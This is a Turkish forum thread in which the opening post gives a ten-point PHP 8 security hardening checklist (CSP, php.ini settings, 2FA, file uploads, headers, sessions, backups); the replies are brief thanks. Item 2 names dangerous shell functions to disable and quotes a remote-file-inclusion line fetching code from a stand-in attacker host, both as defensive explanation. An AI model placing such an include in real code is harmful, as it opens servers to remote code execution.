İlan
05 Haz 2026 23 çevrimiçi üye Duyurular
Ana Sayfa Web Geliştirme
Ana Sayfa Forum Web Geliştirme Yeni PHP 8 Ustalık Sınıfları: 10 Kesin Kontrol Lis...
İlan Yan banner placeholder

Yeni PHP 8 Ustalık Sınıfları: 10 Kesin Kontrol Listesi

crimlaw 27.04.2026 20:17 801 görüntüleme 4 cevap
Son Mesaj
crimlaw
Üye
Üye
Katılım31 Mar 2026
Konular6
Mesajlar46
Elmas Konular0
Başarım0
ZirveCoin 0
Ticaret Puanı
+0 -0
27.04.2026 20:17 #1

PHP 8 Güvenliğinde Ustalık Sınıfı: 10 Nihai Kontrol Listesi​

PHP 8 uygulamalarımızın güvenliği, kullanıcılarımızın verilerini korumak ve güvenlerini sürdürmek için en kritik konudur. Önceki bölümlerde öğrendiğimiz temel savunmalara ek olarak, şimdi de bir "usta" geliştiricinin uygulaması gereken gelişmiş güvenlik katmanlarına göz atacağız.

Bu 10 madde, uygulamanızı bir sonraki güvenlik seviyesine taşıyacaktır.

1. İçerik Güvenlik Politikası (CSP) Kullanın​

XSS (Cross-Site Scripting) saldırılarını engellemenin en güçlü yollarından biri CSP'dir. CSP, tarayıcıya "Bu sayfada sadece benim izin verdiğim kaynaklardan (script'ler, stiller, resimler) veri yükleyebilirsin" diyen bir HTTP başlığıdır.

Bunu manuel yapmak zordur, ancak paragonie/PHP-CSP-Builder gibi kütüphanelerle çok kolaydır:

php:
use ParagonIE\CSPBuilder\CSPBuilder;

// Sadece kendi sitemizden ve cdnjs'den gelen scriptlere izin ver
$cspBuilder = new CSPBuilder();
$cspBuilder->allowSelf(); // Kendi domain'ine izin ver
$cspBuilder->addScriptSrc('https://cdnjs.cloudflare.com'); // CDN'e izin ver

$cspHeader = $cspBuilder->build();
header('Content-Security-Policy: ' . $cspHeader);

2. Sunucu Zırhı: php.ini Ayarlarını Sertleştirin
Güvenlik, koddan önce sunucuda başlar. php.ini dosyanızda şu ayarları gözden geçirin:
  • disable_functions: shell_exec, exec, system gibi tehlikeli olabilecek fonksiyonları devre dışı bırakın.
  • open_basedir: PHP'nin sadece belirli bir dizin (örn: /var/www/uploads/) içinde dosya işlemi yapabilmesini sağlayın. Bu, sunucudaki diğer dizinlere sızmasını engeller.
  • allow_url_fopen: false yapın. Bu, include 'http://saldirgan.com/virus.txt' gibi uzaktan dosya dahil etme (RFI) saldırılarını engeller.
3. Ekstra Kilit: İki Aşamalı Doğrulama (2FA)
Kullanıcı adı ve şifre yeterli değildir. Şifre sızdırılsa bile, 2FA (Google Authenticator gibi) ikinci bir kalkan sağlar. robthree/twofactorauth gibi kütüphanelerle PHP 8 uygulamanıza 2FA eklemek artık çok kolay. Bu, lüks değil, bir gerekliliktir.

4. Tekrar Altını Çizelim: Güvenli Dosya Yükleme​

Bu o kadar kritik ki, bir kez daha vurgulamak şart:
  1. Whitelist (Beyaz Liste): Sadece izin verdiğiniz (image/jpeg, application/pdf) dosya türlerini kabul edin.
  2. Benzersiz İsim: Dosyaya uniqid() veya random_bytes() ile oluşturulmuş benzersiz bir isim verin.
  3. Web Root Dışına Kayıt: Yüklenen dosyaları public_html (veya www) klasörünün dışına kaydedin ve özel bir script ile sunun.

5. Gözünüzü Dört Açın: Denetim (Audit) ve Kayıt (Log) Takibi​

Kodunuzu yazdınız ve bitti mi? Hayır.
  • Düzenli Denetim: Kodunuzu OWASP ZAP veya Nessus gibi otomatik güvenlik tarayıcıları ile düzenli olarak taratın.
  • Log Takibi: Sunucu loglarını (access.log, error.log) düzenli olarak izleyin. Şüpheli bir IP'den sürekli 404 hatası alıyorsanız veya garip POST istekleri görüyorsanız, biri kapınızı zorluyor demektir. Anormal aktiviteler için alarmlar kurun.
6. Tarayıcıya Talimat Verin: Güvenlik Başlıkları (Headers)
CSP dışında, tarayıcıyı güvende tutan başka başlıklar da vardır:
  • Strict-Transport-Security (HSTS): Tarayıcıya "Benimle 1 yıl boyunca SADECE HTTPS üzerinden konuş" der. Araya girmeyi (MITM) engeller.
  • X-Content-Type-Options: Tarayıcının dosya türünü "koklamasını" engeller.
  • X-Frame-Options: Sitenizin başka bir site içinde <iframe> ile çağrılmasını (Clickjacking) engeller.
7. Güvenli Oturum (Session) Yönetimi
Bir önceki konumuzdu ama bu listenin olmazsa olmazı. session_start() yapmadan önce session_set_cookie_params ile şu ayarları mutlaka yapın:
  • secure (true): Sadece HTTPS üzerinden.
  • httponly (true): JavaScript erişemez (XSS kalkanı).
  • samesite ('Lax' veya 'Strict'): CSRF kalkanı.
8. Zayıf Halka: Güncel Olmayan Kütüphaneler
Siz kodunuzu mükemmel yazmış olabilirsiniz, ancak kullandığınız üçüncü parti bir kütüphanede (composer ile çektiğiniz) bir açık olabilir. composer update komutunu düzenli olarak çalıştırarak tüm bağımlılıklarınızı güncel tutun.

9. En Kötü Senaryo: Yedekleme ve Kurtarma Planı​

Tüm bu önlemlere rağmen bir felaket (saldırı veya sunucu çökmesi) yaşanırsa ne yapacaksınız? Sağlam, düzenli ve test edilmiş bir yedekleme planınız olmalı. Veri bütünlüğünü korumak ve bir saldırı anında hızla eski, temiz duruma dönebilmek hayati önem taşır.

10. (Bonus) Güvenlik Bir Süreçtir, Biten Bir İş Değil​

Güvenlik, "bir kez yapıp unutulacak" bir şey değildir. Yeni tehditler ve zafiyetler her gün ortaya çıkar. Geliştirici olarak proaktif, şüpheci ve her zaman tetikte olmalıyız.
crimlaw
Üye
Üye
Katılım31 Mar 2026
Konular6
Mesajlar46
Elmas Konular0
Başarım0
ZirveCoin 0
Ticaret Puanı
+0 -0
03.05.2026 22:35 #2
Paylaşım için teşekkürler eline sağlık
altinmustafa19
Üye
Üye
Katılım21 Mar 2026
Konular3
Mesajlar35
Elmas Konular0
Başarım0
ZirveCoin 0
Ticaret Puanı
+0 -0
07.05.2026 08:17 #3
Paylaşım için teşekkürler eline sağlık
Sckn
Üye
Üye
Katılım04 Mar 2026
Konular11
Mesajlar90
Elmas Konular0
Başarım0
ZirveCoin 0
Ticaret Puanı
+0 -0
10.05.2026 00:08 #4
Paylaşım için teşekkürler
FaLCoN_TiGeR
Üye
Üye
Katılım05 Nis 2026
Konular7
Mesajlar51
Elmas Konular0
Başarım0
ZirveCoin 0
Ticaret Puanı
+0 -0
10.05.2026 00:19 #5
Paylaşım için teşekkürler.
OguzhanGozeler
Bu konuyu görüntüleyenler
1 misafir
Cevap yazmak için giriş yapın.
İlan Yan banner placeholder